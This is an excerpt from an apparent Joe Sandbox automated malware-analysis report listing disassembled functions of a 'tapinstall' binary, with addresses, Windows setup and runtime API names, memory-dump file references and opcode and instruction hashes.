                                                                                                                  • Opcode Fuzzy Hash: 92d83d9b34f83b521a09ba5b49f4fa4ff0e4aabc531c5689a04bfc7cad77936e
                                                                                                                  • Instruction Fuzzy Hash: 8AB1A221E0A74681EB6DBB119548579F390EFC4B84F898435DEAD07FC5DE3CE84283A2
                                                                                                                  Function 00007FF7FEE22044 Relevance: 7.7, APIs: 5, Instructions: 158COMMON
                                                                                                                  Download Yara Rule
                                                                                                                  APIs
                                                                                                                  Memory Dump Source
                                                                                                                  • Source File: 0000000C.00000002.2440480806.00007FF7FEDD1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF7FEDD0000, based on PE: true
                                                                                                                  • Associated: 0000000C.00000002.2440457538.00007FF7FEDD0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  • Associated: 0000000C.00000002.2441290988.00007FF7FEE24000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  • Associated: 0000000C.00000002.2441481570.00007FF7FEE37000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  • Associated: 0000000C.00000002.2441890208.00007FF7FEE3A000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                  • Snapshot File: hcaresult_12_2_7ff7fedd0000_tapinstall.jbxd
                                                                                                                  Similarity
                                                                                                                  • API ID: _set_statfp
                                                                                                                  • String ID:
                                                                                                                  • API String ID: 1156100317-0
                                                                                                                  • Opcode ID: 2bc9a1a893ca783c65b1834ad9b2aafb0e365d30d060e1b3bfacd12602894cdc
                                                                                                                  • Instruction ID: 220dcd6f309918c5cded3cdb75d1578ac1dccf984eb7c5ade6cf0e7b7e510486
                                                                                                                  • Opcode Fuzzy Hash: 2bc9a1a893ca783c65b1834ad9b2aafb0e365d30d060e1b3bfacd12602894cdc
                                                                                                                  • Instruction Fuzzy Hash: D651C513D0894685F726BE34B84077AE350BFD8350F84863DEA7F266E5DFBCA44196A0
                                                                                                                  Function 00007FF7FEDD37D0 Relevance: 7.6, APIs: 5, Instructions: 82COMMON
                                                                                                                  Download Yara Rule
                                                                                                                  APIs
                                                                                                                  Memory Dump Source
                                                                                                                  • Source File: 0000000C.00000002.2440480806.00007FF7FEDD1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF7FEDD0000, based on PE: true
                                                                                                                  • Associated: 0000000C.00000002.2440457538.00007FF7FEDD0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  • Associated: 0000000C.00000002.2441290988.00007FF7FEE24000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  • Associated: 0000000C.00000002.2441481570.00007FF7FEE37000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  • Associated: 0000000C.00000002.2441890208.00007FF7FEE3A000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                  • Snapshot File: hcaresult_12_2_7ff7fedd0000_tapinstall.jbxd
                                                                                                                  Similarity
                                                                                                                  • API ID: Setup$Class$InstallParams$CallDeviceInstaller$DetailDevice_Get_InfoList
                                                                                                                  • String ID:
                                                                                                                  • API String ID: 3081971210-0
                                                                                                                  • Opcode ID: 695bbc71baaaec773e58d73fb442ecad0b1640a0d8d46f012f6265395287b3fe
                                                                                                                  • Instruction ID: 18e62d9edd0d543a33895ce2cfb1f4794008bb0a088fbecf66630e71f8f7f0a7
                                                                                                                  • Opcode Fuzzy Hash: 695bbc71baaaec773e58d73fb442ecad0b1640a0d8d46f012f6265395287b3fe
                                                                                                                  • Instruction Fuzzy Hash: BA314FB1A0824586F734AF12E5043B9E7A1FB89FC8F804139DA990BBC4CF7CD5158B90
                                                                                                                  Function 00007FF7FEE217D4 Relevance: 7.6, APIs: 5, Instructions: 56COMMONLIBRARYCODE
                                                                                                                  Download Yara Rule
                                                                                                                  APIs
                                                                                                                  Memory Dump Source
                                                                                                                  • Source File: 0000000C.00000002.2440480806.00007FF7FEDD1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF7FEDD0000, based on PE: true
                                                                                                                  • Associated: 0000000C.00000002.2440457538.00007FF7FEDD0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  • Associated: 0000000C.00000002.2441290988.00007FF7FEE24000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  • Associated: 0000000C.00000002.2441481570.00007FF7FEE37000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  • Associated: 0000000C.00000002.2441890208.00007FF7FEE3A000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                  • Snapshot File: hcaresult_12_2_7ff7fedd0000_tapinstall.jbxd
                                                                                                                  Similarity
                                                                                                                  • API ID: _set_statfp
                                                                                                                  • String ID:
                                                                                                                  • API String ID: 1156100317-0
                                                                                                                  • Opcode ID: e7b1107881e48292ca022c74fe2ec48e51bdb5760dfe1fdbb7d7208ffa06045a
                                                                                                                  • Instruction ID: c33e3587f5dd91ca1b8372470c322b37cdca1fae97aa9fd2756a03a68d5e25e6
                                                                                                                  • Opcode Fuzzy Hash: e7b1107881e48292ca022c74fe2ec48e51bdb5760dfe1fdbb7d7208ffa06045a
                                                                                                                  • Instruction Fuzzy Hash: C711BF22E0CA1301F75C3964F4863759080AFD5364FD9067EE97F862E79EDDAA4181A1
                                                                                                                  Function 00007FF7FEDE43FC Relevance: 7.2, APIs: 2, Strings: 2, Instructions: 195COMMONLIBRARYCODE
                                                                                                                  Download Yara Rule
                                                                                                                  APIs
                                                                                                                  Strings
                                                                                                                  Memory Dump Source
                                                                                                                  • Source File: 0000000C.00000002.2440480806.00007FF7FEDD1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF7FEDD0000, based on PE: true
                                                                                                                  • Associated: 0000000C.00000002.2440457538.00007FF7FEDD0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  • Associated: 0000000C.00000002.2441290988.00007FF7FEE24000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  • Associated: 0000000C.00000002.2441481570.00007FF7FEE37000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  • Associated: 0000000C.00000002.2441890208.00007FF7FEE3A000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                  • Snapshot File: hcaresult_12_2_7ff7fedd0000_tapinstall.jbxd
                                                                                                                  Similarity
                                                                                                                  • API ID: CallEncodePointerTranslator
                                                                                                                  • String ID: MOC$RCC
                                                                                                                  • API String ID: 3544855599-2084237596
                                                                                                                  • Opcode ID: f803d8c648c2122474ce86b0b39a3cc156ebe4fa619f756f266b7816edd56d32
                                                                                                                  • Instruction ID: ac2a6840dcf3f33835cecbdedbc54f41b95033eb561227a024d2cc8f6ec27f2f
                                                                                                                  • Opcode Fuzzy Hash: f803d8c648c2122474ce86b0b39a3cc156ebe4fa619f756f266b7816edd56d32
                                                                                                                  • Instruction Fuzzy Hash: E891E473A08B828AE715EB65E8442ADB7B1FB84788F904139EE9D07B94DF3CE151C750
                                                                                                                  Function 00007FF7FEDEF940 Relevance: 7.2, APIs: 2, Strings: 2, Instructions: 191COMMON
                                                                                                                  Download Yara Rule
                                                                                                                  APIs
                                                                                                                  Strings
                                                                                                                  Memory Dump Source
                                                                                                                  • Source File: 0000000C.00000002.2440480806.00007FF7FEDD1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF7FEDD0000, based on PE: true
                                                                                                                  • Associated: 0000000C.00000002.2440457538.00007FF7FEDD0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  • Associated: 0000000C.00000002.2441290988.00007FF7FEE24000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  • Associated: 0000000C.00000002.2441481570.00007FF7FEE37000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  • Associated: 0000000C.00000002.2441890208.00007FF7FEE3A000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                  • Snapshot File: hcaresult_12_2_7ff7fedd0000_tapinstall.jbxd
                                                                                                                  Similarity
                                                                                                                  • API ID: _invalid_parameter_noinfo
                                                                                                                  • String ID: $*
                                                                                                                  • API String ID: 3215553584-3982473090
                                                                                                                  • Opcode ID: 696b434c9b65d82e3cb3a69da655823cedb2bb2a6dca5773e12b0c135f28c375
                                                                                                                  • Instruction ID: 01ede50396e77545b23a6d154c07224c4cba31bdb6024f6565d1b67d710fa7ff
                                                                                                                  • Opcode Fuzzy Hash: 696b434c9b65d82e3cb3a69da655823cedb2bb2a6dca5773e12b0c135f28c375
                                                                                                                  • Instruction Fuzzy Hash: CD81B77280C34286EB6CEF25945817CBBA1EB85B48F944135CAAD47AC9CF3DE441C7B6
                                                                                                                  Function 00007FF7FEDF0EDC Relevance: 7.2, APIs: 2, Strings: 2, Instructions: 191COMMON
                                                                                                                  Download Yara Rule
                                                                                                                  APIs
                                                                                                                  Strings
                                                                                                                  Memory Dump Source
                                                                                                                  • Source File: 0000000C.00000002.2440480806.00007FF7FEDD1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF7FEDD0000, based on PE: true
                                                                                                                  • Associated: 0000000C.00000002.2440457538.00007FF7FEDD0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  • Associated: 0000000C.00000002.2441290988.00007FF7FEE24000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  • Associated: 0000000C.00000002.2441481570.00007FF7FEE37000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  • Associated: 0000000C.00000002.2441890208.00007FF7FEE3A000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                  • Snapshot File: hcaresult_12_2_7ff7fedd0000_tapinstall.jbxd
                                                                                                                  Similarity
                                                                                                                  • API ID: _invalid_parameter_noinfo
                                                                                                                  • String ID: $*
                                                                                                                  • API String ID: 3215553584-3982473090
                                                                                                                  • Opcode ID: ebf6addb0422a3df8c88c69004cf465780081765257e989b9b1ed44549212502
                                                                                                                  • Instruction ID: 6a1eb345572470977928ec554d5d17631b0a6b9b5935cb4cd2498d22677c1287
                                                                                                                  • Opcode Fuzzy Hash: ebf6addb0422a3df8c88c69004cf465780081765257e989b9b1ed44549212502
                                                                                                                  • Instruction Fuzzy Hash: FC81937280C2C285E764FF259044179B7A8EB81B48FD4013ACA7947ADEDF39E981C7B5
                                                                                                                  Function 00007FF7FEDF0734 Relevance: 7.2, APIs: 2, Strings: 2, Instructions: 191COMMON
                                                                                                                  Download Yara Rule
                                                                                                                  APIs
                                                                                                                  Strings
                                                                                                                  Memory Dump Source
                                                                                                                  • Source File: 0000000C.00000002.2440480806.00007FF7FEDD1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF7FEDD0000, based on PE: true
                                                                                                                  • Associated: 0000000C.00000002.2440457538.00007FF7FEDD0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  • Associated: 0000000C.00000002.2441290988.00007FF7FEE24000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  • Associated: 0000000C.00000002.2441481570.00007FF7FEE37000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  • Associated: 0000000C.00000002.2441890208.00007FF7FEE3A000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                  • Snapshot File: hcaresult_12_2_7ff7fedd0000_tapinstall.jbxd
                                                                                                                  Similarity
                                                                                                                  • API ID: _invalid_parameter_noinfo
                                                                                                                  • String ID: $*
                                                                                                                  • API String ID: 3215553584-3982473090
                                                                                                                  • Opcode ID: e60271a038c53331095bc1501989483a53fb311e552cdae94f782dd2e6294a65
                                                                                                                  • Instruction ID: ca176e1b7ce1d50256c9a74c4e99548e7d3bc531d78d3fd5de3291e6a5b70b88
                                                                                                                  • Opcode Fuzzy Hash: e60271a038c53331095bc1501989483a53fb311e552cdae94f782dd2e6294a65
                                                                                                                  • Instruction Fuzzy Hash: 1C816D7280828285FB64FF259054178F7A2EB85B48FD84135CAB947ACDEF39E481C7E5
                                                                                                                  Function 00007FF7FEDF0018 Relevance: 7.2, APIs: 2, Strings: 2, Instructions: 187COMMON
                                                                                                                  Download Yara Rule
                                                                                                                  APIs
                                                                                                                  Strings
                                                                                                                  Memory Dump Source
                                                                                                                  • Source File: 0000000C.00000002.2440480806.00007FF7FEDD1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF7FEDD0000, based on PE: true
                                                                                                                  • Associated: 0000000C.00000002.2440457538.00007FF7FEDD0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  • Associated: 0000000C.00000002.2441290988.00007FF7FEE24000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  • Associated: 0000000C.00000002.2441481570.00007FF7FEE37000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  • Associated: 0000000C.00000002.2441890208.00007FF7FEE3A000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                  • Snapshot File: hcaresult_12_2_7ff7fedd0000_tapinstall.jbxd
                                                                                                                  Similarity
                                                                                                                  • API ID: _invalid_parameter_noinfo
                                                                                                                  • String ID: $*
                                                                                                                  • API String ID: 3215553584-3982473090
                                                                                                                  • Opcode ID: 4b0bb82413f354565f6b76abb1ea6af1657192eeb5dcd769b60e7d6808cf1343
                                                                                                                  • Instruction ID: f23d1056b0f4ea9cd9748d93d6ce97c691f6b88a645309deaf8047cdd4513833
                                                                                                                  • Opcode Fuzzy Hash: 4b0bb82413f354565f6b76abb1ea6af1657192eeb5dcd769b60e7d6808cf1343
                                                                                                                  • Instruction Fuzzy Hash: 9581A47280C2C286EB64EF24914417CBBA2EB85B48F944135CA7947ACDCF39E485C7B5
                                                                                                                  Function 00007FF7FEE0C164 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 180COMMONLIBRARYCODE
                                                                                                                  Download Yara Rule
                                                                                                                  APIs
                                                                                                                  Strings
                                                                                                                  Memory Dump Source
                                                                                                                  • Source File: 0000000C.00000002.2440480806.00007FF7FEDD1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF7FEDD0000, based on PE: true
                                                                                                                  • Associated: 0000000C.00000002.2440457538.00007FF7FEDD0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  • Associated: 0000000C.00000002.2441290988.00007FF7FEE24000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  • Associated: 0000000C.00000002.2441481570.00007FF7FEE37000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  • Associated: 0000000C.00000002.2441890208.00007FF7FEE3A000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                  • Snapshot File: hcaresult_12_2_7ff7fedd0000_tapinstall.jbxd
                                                                                                                  Similarity
                                                                                                                  • API ID: _invalid_parameter_noinfo
                                                                                                                  • String ID: -$e+000$gfff
                                                                                                                  • API String ID: 3215553584-2620144452
                                                                                                                  • Opcode ID: 0074e114a49e6fc809f4dcc0a04a1e80794e2a9b4d8ec782b6f912fc4b48aee0
                                                                                                                  • Instruction ID: cf715b168f176bd38b4bba30bc5181be039c7fb1fe3647ae53291b67bedfab23
                                                                                                                  • Opcode Fuzzy Hash: 0074e114a49e6fc809f4dcc0a04a1e80794e2a9b4d8ec782b6f912fc4b48aee0
                                                                                                                  • Instruction Fuzzy Hash: 7071F462B187C186F7209B25B94036DBB91EBC4B90F889231DBAE47BD9CE7CD440C751
                                                                                                                  Function 00007FF7FEDEF718 Relevance: 7.2, APIs: 2, Strings: 2, Instructions: 156COMMON
                                                                                                                  Download Yara Rule
                                                                                                                  APIs
                                                                                                                  Strings
                                                                                                                  Memory Dump Source
                                                                                                                  • Source File: 0000000C.00000002.2440480806.00007FF7FEDD1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF7FEDD0000, based on PE: true
                                                                                                                  • Associated: 0000000C.00000002.2440457538.00007FF7FEDD0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  • Associated: 0000000C.00000002.2441290988.00007FF7FEE24000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  • Associated: 0000000C.00000002.2441481570.00007FF7FEE37000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  • Associated: 0000000C.00000002.2441890208.00007FF7FEE3A000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                  • Snapshot File: hcaresult_12_2_7ff7fedd0000_tapinstall.jbxd
                                                                                                                  Similarity
                                                                                                                  • API ID: _invalid_parameter_noinfo
                                                                                                                  • String ID: $*
                                                                                                                  • API String ID: 3215553584-3982473090
                                                                                                                  • Opcode ID: 26b87493f0452009ca218a176671395cca8a3695ea8e3c936177f10e7989a2f7
                                                                                                                  • Instruction ID: 0bb36b684d547cb260b7223775be025eb2d1051bc7c4b1bba45b718bd3c41f0e
                                                                                                                  • Opcode Fuzzy Hash: 26b87493f0452009ca218a176671395cca8a3695ea8e3c936177f10e7989a2f7
                                                                                                                  • Instruction Fuzzy Hash: 466199B290C24286F76CAF24949837CB7A1EB85B08F94113AC66E079D9CF38D445D7E2
                                                                                                                  Function 00007FF7FEDEFBE8 Relevance: 7.2, APIs: 2, Strings: 2, Instructions: 151COMMON
                                                                                                                  Download Yara Rule
                                                                                                                  APIs
                                                                                                                  Strings
                                                                                                                  Memory Dump Source
                                                                                                                  • Source File: 0000000C.00000002.2440480806.00007FF7FEDD1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF7FEDD0000, based on PE: true
                                                                                                                  • Associated: 0000000C.00000002.2440457538.00007FF7FEDD0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  • Associated: 0000000C.00000002.2441290988.00007FF7FEE24000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  • Associated: 0000000C.00000002.2441481570.00007FF7FEE37000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  • Associated: 0000000C.00000002.2441890208.00007FF7FEE3A000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                  • Snapshot File: hcaresult_12_2_7ff7fedd0000_tapinstall.jbxd
                                                                                                                  Similarity
                                                                                                                  • API ID: _invalid_parameter_noinfo
                                                                                                                  • String ID: $*
                                                                                                                  • API String ID: 3215553584-3982473090
                                                                                                                  • Opcode ID: 48a48ff5bc0ae375988f414688e987a49450b8b663d7d16d07c4109e67f0f616
                                                                                                                  • Instruction ID: 7cca8dc1d3c67de5b6124f1be1ee847aaa32892d4cd5dcc85a610a78161d04a1
                                                                                                                  • Opcode Fuzzy Hash: 48a48ff5bc0ae375988f414688e987a49450b8b663d7d16d07c4109e67f0f616
                                                                                                                  • Instruction Fuzzy Hash: E4619B7290C64286F76DAF34804D37CBBA5EB85B08F942136CA6E439D9CF29D441C7A2
                                                                                                                  Function 00007FF7FEDF02B0 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 147COMMON
                                                                                                                  Download Yara Rule
                                                                                                                  APIs
                                                                                                                  Strings
                                                                                                                  Memory Dump Source
                                                                                                                  • Source File: 0000000C.00000002.2440480806.00007FF7FEDD1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF7FEDD0000, based on PE: true
                                                                                                                  • Associated: 0000000C.00000002.2440457538.00007FF7FEDD0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  • Associated: 0000000C.00000002.2441290988.00007FF7FEE24000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  • Associated: 0000000C.00000002.2441481570.00007FF7FEE37000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  • Associated: 0000000C.00000002.2441890208.00007FF7FEE3A000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                  • Snapshot File: hcaresult_12_2_7ff7fedd0000_tapinstall.jbxd
                                                                                                                  Similarity
                                                                                                                  • API ID: _invalid_parameter_noinfo
                                                                                                                  • String ID: $*
                                                                                                                  • API String ID: 3215553584-3982473090
                                                                                                                  • Opcode ID: f977a82e5c76788af1767a775f5033a8640c51099ef2c99c72258bbf43d06a9c
                                                                                                                  • Instruction ID: 581c8e4fcfd5da1b9a2dd9f9d7292c7595e7024aa525f07aa17d71b7bbcafe54
                                                                                                                  • Opcode Fuzzy Hash: f977a82e5c76788af1767a775f5033a8640c51099ef2c99c72258bbf43d06a9c
                                                                                                                  • Instruction Fuzzy Hash: 6161957290C682CEEB64EF24804437CB7A2EB85B09F941135C67A47ADDDF3CD881C6A1
                                                                                                                  Function 00007FF7FEDE41E8 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 142COMMONLIBRARYCODE
                                                                                                                  Download Yara Rule
                                                                                                                  APIs
                                                                                                                  Strings
                                                                                                                  Memory Dump Source
                                                                                                                  • Source File: 0000000C.00000002.2440480806.00007FF7FEDD1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF7FEDD0000, based on PE: true
                                                                                                                  • Associated: 0000000C.00000002.2440457538.00007FF7FEDD0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  • Associated: 0000000C.00000002.2441290988.00007FF7FEE24000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  • Associated: 0000000C.00000002.2441481570.00007FF7FEE37000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  • Associated: 0000000C.00000002.2441890208.00007FF7FEE3A000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                  • Snapshot File: hcaresult_12_2_7ff7fedd0000_tapinstall.jbxd
                                                                                                                  Similarity
                                                                                                                  • API ID: CallEncodePointerTranslator
                                                                                                                  • String ID: MOC$RCC
                                                                                                                  • API String ID: 3544855599-2084237596
                                                                                                                  • Opcode ID: 1468b56452d10623d81cdb1e1ed026f28ff39d5af83e5faff62cb6f8af0a23b1
                                                                                                                  • Instruction ID: 674022919ae3dc2f804a16b5d100c649bf122d9562d4b967fd57bb345bd6a5c3
                                                                                                                  • Opcode Fuzzy Hash: 1468b56452d10623d81cdb1e1ed026f28ff39d5af83e5faff62cb6f8af0a23b1
                                                                                                                  • Instruction Fuzzy Hash: EE518E32A08B468AEB14EF65D0843ADB7A0FB88B88F444235EF5D13B95DF78E055C791
                                                                                                                  Function 00007FF7FEDE54F0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 114COMMON
                                                                                                                  Download Yara Rule
                                                                                                                  APIs
                                                                                                                  Strings
                                                                                                                  Memory Dump Source
                                                                                                                  • Source File: 0000000C.00000002.2440480806.00007FF7FEDD1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF7FEDD0000, based on PE: true
                                                                                                                  • Associated: 0000000C.00000002.2440457538.00007FF7FEDD0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  • Associated: 0000000C.00000002.2441290988.00007FF7FEE24000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  • Associated: 0000000C.00000002.2441481570.00007FF7FEE37000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  • Associated: 0000000C.00000002.2441890208.00007FF7FEE3A000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                  • Snapshot File: hcaresult_12_2_7ff7fedd0000_tapinstall.jbxd
                                                                                                                  Similarity
                                                                                                                  • API ID: CreateDestructExceptionFrameInfoObject__except_validate_context_record
                                                                                                                  • String ID: csm
                                                                                                                  • API String ID: 146877497-1018135373
                                                                                                                  • Opcode ID: a3fecbfbc24f64bd75b4b319e201772004d7a2b71ee4399e5099f2da34a284b3
                                                                                                                  • Instruction ID: 8cd0c2c00c360323df9b69d0f7acf7eb045fe973cfa9af2db55cb814ca78c99d
                                                                                                                  • Opcode Fuzzy Hash: a3fecbfbc24f64bd75b4b319e201772004d7a2b71ee4399e5099f2da34a284b3
                                                                                                                  • Instruction Fuzzy Hash: F3516E7260878586E770EB15E48026EB7A0FBC8794F410235EB9D47FA5DF38E4A0CB91
                                                                                                                  Function 00007FF7FEDD4C30 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 74registryCOMMON
                                                                                                                  Download Yara Rule
                                                                                                                  APIs
                                                                                                                  Strings
                                                                                                                  Memory Dump Source
                                                                                                                  • Source File: 0000000C.00000002.2440480806.00007FF7FEDD1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF7FEDD0000, based on PE: true
                                                                                                                  • Associated: 0000000C.00000002.2440457538.00007FF7FEDD0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  • Associated: 0000000C.00000002.2441290988.00007FF7FEE24000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  • Associated: 0000000C.00000002.2441481570.00007FF7FEE37000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  • Associated: 0000000C.00000002.2441890208.00007FF7FEE3A000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                  • Snapshot File: hcaresult_12_2_7ff7fedd0000_tapinstall.jbxd
                                                                                                                  Similarity
                                                                                                                  • API ID: QueryValue$ErrorLast
                                                                                                                  • String ID: LowerFilters
                                                                                                                  • API String ID: 181557691-1260524392
                                                                                                                  • Opcode ID: 7cfd38d4b9c6a9580be2e36a9189f51fd8cc7de6ed91d8435a286111ac9b45e5
                                                                                                                  • Instruction ID: b8655b9b9c82318b489bf282b5ce8e3f6c3ffcab6b217a8b67b2441f081bded8
                                                                                                                  • Opcode Fuzzy Hash: 7cfd38d4b9c6a9580be2e36a9189f51fd8cc7de6ed91d8435a286111ac9b45e5
                                                                                                                  • Instruction Fuzzy Hash: C121C122608B4186EB60AB15F45066EE391EFC87D0F840235EAAD47FE4EF3CE445C790
                                                                                                                  Function 00007FF7FEDD56D0 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 69COMMON
                                                                                                                  Download Yara Rule
                                                                                                                  APIs
                                                                                                                  Strings
                                                                                                                  Memory Dump Source
                                                                                                                  • Source File: 0000000C.00000002.2440480806.00007FF7FEDD1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF7FEDD0000, based on PE: true
                                                                                                                  • Associated: 0000000C.00000002.2440457538.00007FF7FEDD0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  • Associated: 0000000C.00000002.2441290988.00007FF7FEE24000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  • Associated: 0000000C.00000002.2441481570.00007FF7FEE37000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  • Associated: 0000000C.00000002.2441890208.00007FF7FEE3A000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                  • Snapshot File: hcaresult_12_2_7ff7fedd0000_tapinstall.jbxd
                                                                                                                  Similarity
                                                                                                                  • API ID: DetailDeviceDevice_Get_InfoListSetup
                                                                                                                  • String ID: %-60s: %s$%s
                                                                                                                  • API String ID: 3680031113-1339393084
                                                                                                                  • Opcode ID: a51e5089ce0a16c6d52d016b188cefe7c1f7e6d2c4a6f8978211d45e4c582602
                                                                                                                  • Instruction ID: d07b1c2f9d5fff34523f92cb229e63151907a7aa69e7d96ddd104d2ed8ed9119
                                                                                                                  • Opcode Fuzzy Hash: a51e5089ce0a16c6d52d016b188cefe7c1f7e6d2c4a6f8978211d45e4c582602
                                                                                                                  • Instruction Fuzzy Hash: B121CE62B0964691FB30AF15E4503BAA3A0FFC4B94FC44035DA2E47AC9EE6CD505C7A0
                                                                                                                  Function 00007FF7FEDE562B Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 65COMMON
                                                                                                                  Download Yara Rule
                                                                                                                  APIs
                                                                                                                  Strings
                                                                                                                  Memory Dump Source
                                                                                                                  • Source File: 0000000C.00000002.2440480806.00007FF7FEDD1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF7FEDD0000, based on PE: true
                                                                                                                  • Associated: 0000000C.00000002.2440457538.00007FF7FEDD0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  • Associated: 0000000C.00000002.2441290988.00007FF7FEE24000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  • Associated: 0000000C.00000002.2441481570.00007FF7FEE37000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  • Associated: 0000000C.00000002.2441890208.00007FF7FEE3A000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                  • Snapshot File: hcaresult_12_2_7ff7fedd0000_tapinstall.jbxd
                                                                                                                  Similarity
                                                                                                                  • API ID: Exception$DestructObject$Raise
                                                                                                                  • String ID: csm
                                                                                                                  • API String ID: 2826525264-1018135373
                                                                                                                  • Opcode ID: c65463ea9101793cc31d4246695a90cc3882a240b8c6c27d7b38a8955c006e5e
                                                                                                                  • Instruction ID: b9645e1430366b7edfe0013cda82c380c8ada03d5eb232584fa31266c1c77798
                                                                                                                  • Opcode Fuzzy Hash: c65463ea9101793cc31d4246695a90cc3882a240b8c6c27d7b38a8955c006e5e
                                                                                                                  • Instruction Fuzzy Hash: 04312C7660824687E734AF11E05426EB760FBC4B94F810135EA9E07BE5CF7DE885CB91
